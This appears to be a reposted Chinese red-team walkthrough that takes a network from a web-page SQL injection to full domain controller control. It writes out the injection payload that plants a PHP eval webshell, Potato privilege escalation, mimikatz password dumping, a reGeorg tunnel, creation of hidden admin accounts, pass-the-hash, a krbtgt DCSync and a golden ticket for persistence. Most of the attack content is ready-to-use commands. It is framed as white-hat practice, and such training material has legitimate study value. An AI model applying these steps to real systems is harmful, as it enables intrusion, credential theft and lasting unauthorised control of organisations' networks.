红队攻防之从边界突破到漫游内网(无cs和msf)

Posted IT老涵

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了红队攻防之从边界突破到漫游内网(无cs和msf)相关的知识,希望对你有一定的参考价值。

前言

网络安全的本质:懂进攻,知防守,先正向,后逆向。

本篇文章目录

网络拓扑图:

本次红队攻防实战所需绘制的拓扑图如下:

边界突破

访问网站:

http://xxx.xxx.xxx/?id=1

首页如下:

SQL注入拿shell

构造payload:and 1=1显示正确,and 1=2显示错误,说明存在SQL注入,并且爆出绝对路径

使用常用的注入函数into outfile 将一句话木马写入自动创建的 xxx.php文件中

http://xxx.xxx.xxx/?id=1 and 1=2 union select 1,'<?php @eval($_REQUEST[xxx]);?>' into outfile 'x:\\\\xxx\\\\xxx\\\\xxx.php'

需要有写入权限和上一步爆出的绝对路径

验证上传的木马是否成功,成功写入木马

http://xxx.xxx.xxx/xxx.php?xxx=phpinfo();

成功利用蚁剑拿到shell

→点击获取网络安全学习资料·攻略←

2000多本网络安全系列电子书
网络安全标准题库资料
项目源码
网络安全基础入门、Linux、web安全、攻防方面的视频
网络安全学习路线图

内网信息收集

whoami
发现是普通用户的权限

ipconfig /all
查看用户的IP信息,可以看到位于工作组环境

route print
查看路由,通往10.0.1网段

net config Workstation
查看计算机名、全名、用户名、系统版本、工作站

.利用蚁剑传入Potato提权工具,并使用其虚拟终端,查看权限,提权。
将超时时间调大:

上传Potato提权工具成功,改名为xxx.exe

使用命令可以看到成功提权
xxx.exe -p “whoami”

将mimikatz改名为x.exe,成功上传

然后在终端执行

xxx.exe -p "x.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt"


查看log.txt,成功抓到当前用户和另一用户的密码




netstat -ano查看是否开启3389端口,发现已开启

查看防火墙是开启的
netsh firewall show state

reGeorg内网穿透

使用软件reGeorg实现攻击机与目标机器的通信
通过蚁剑将reGeorge中的tunnel.php上传至网站改名为tu.php

并成功访问

http://xx.xx.xx/tu.php


启动reGeorg

python3 xx.py -k xxx -u http://xx.xx.xx/tu.php

表示本地1080端口的流量都转发给指定的那个url,1080是指定的监听端口;

代理可以使用:

内网渗透

拿下边界服务器
挂上代理远程连接10.0.1.4

创建新账号admin 并提权

xx.exe -p "net user xxx xxxx /add" //新增账号和对应密码
xx.exe -p "net localgroup administrators xxxx /add"//提升新增账号的权限至administrators组


远程连接

成功连接

将mimikatz添加到桌面并以管理员权限运行
privilege::debug 提升权限
log 日志会记录内容
sekurlsa::logonpasswords 抓取密码

成功抓到管理员账户密码:
使用上述管理员账号密码,成功登陆服务器

通过nbtscan对当前C端进行扫描,发现还有三台机器存活

拿下域内主机

根据我这个渗透时长两年半的个人练习生的经验来判断,内网里的服务器的账号密码有部分可能是相同的。
再使用上述管理员账号密码远程连接10.0.1.8


成功连接

whoami查看是administrator权限
ipconfig /all查看有域xx.xx

一般DNS服务器就是域控服务器

查询域控主机名,遭拒绝,需利用官方工具将账号提升至system权限,再查
net user /domain


上传官方工具PsExec.exe提权
PsExec.exe -i -s -d cmd 提升至system权限,获取主机名DC.xx.xx

尝试访问域控主机C盘
dir \\DC.xx.xx\\c$

是拒绝的,需要工具minikatz,使用哈希传递

拿下域控

将mimikatz添加到桌面并以管理员权限运行
privilege::debug 提升权限
log 日志会记录内容
sekurlsa::logonpasswords 抓取密码

获取

user=administrator
Domain=xxx
NTLM=xxxxxxx

将上述值放入下方命令中,完成哈希传递,以后利用这个CMD窗口运行,拥有管理员权限。

sekurlsa::pth /user:administrator /domain:"xx.xx"
/ntlm:xxxxxxx

启动域控主机cmd窗口,成功访问域控主机C盘
dir \\DC.xx.xx\\c$

使用官方工具PsExec.exe,命令如下:
PsExec.exe \\dc.xx.xx cmd
进入c:
输入ipconfig, 10.0.1.6为域控ip,此时成功获取域控cmd

新建账号,直接远程登陆域控主机

"net user xxx xxxx /add" //新增账号和对应密码
"net localgroup administrators xxxx /add"//提升新增账号的权限至administrators组


建好账号后,直接登陆域控主机10.0.1.6(DC.xx.xx),成功拿下域控主机权限

至此已成功拿下三台主机的权限。

权限维持

可通过制作黄金票据进行权限维持
因为域控主机10.0.1.6安装了补丁KB2871997,所以无法抓取到明文密码
管理员运行猕猴桃
log 日志记录内容
lsadump::dcsync /user:krbtgt 获取内容

获取krbtgt账号的关键值(OSID和Hash_NTLM)

制作黄金票据

kerberos::golden /admin:administrator /domain:xx.xx /sid:xx-xx-xx /krbtgt:xxxxxx /ticket:xxx.kiribi

如图

票据加载成功

普通窗口无法访问域控根目录

把域控中的票据复制到在10.0.1.8主机中,使用猕猴桃加载票据
kerberos::ptt xxx.kiribi 加载票据

然后成功在普通cmd中访问域控c盘内容
dir \\DC.xx.xx\\c$

PExec.exe \\DC.xx.xx cmd 获取域控cmd

结语

一名优秀的白帽子,是不能有短板的,有的只能是几块长板和很多的标准板。

以上是关于红队攻防之从边界突破到漫游内网(无cs和msf)的主要内容,如果未能解决你的问题,请参考以下文章

红队视角下的防御体系突破之第二篇案例分析

ATT&CK实战系列——红队实战

安全攻防实战系列MSF

安全攻防实战系列MSF

红蓝对抗之流量加密(Openssl加密传输MSF流量加密CS修改profile进行流量加密)

Vulnstack红日安全内网域渗透靶场1实战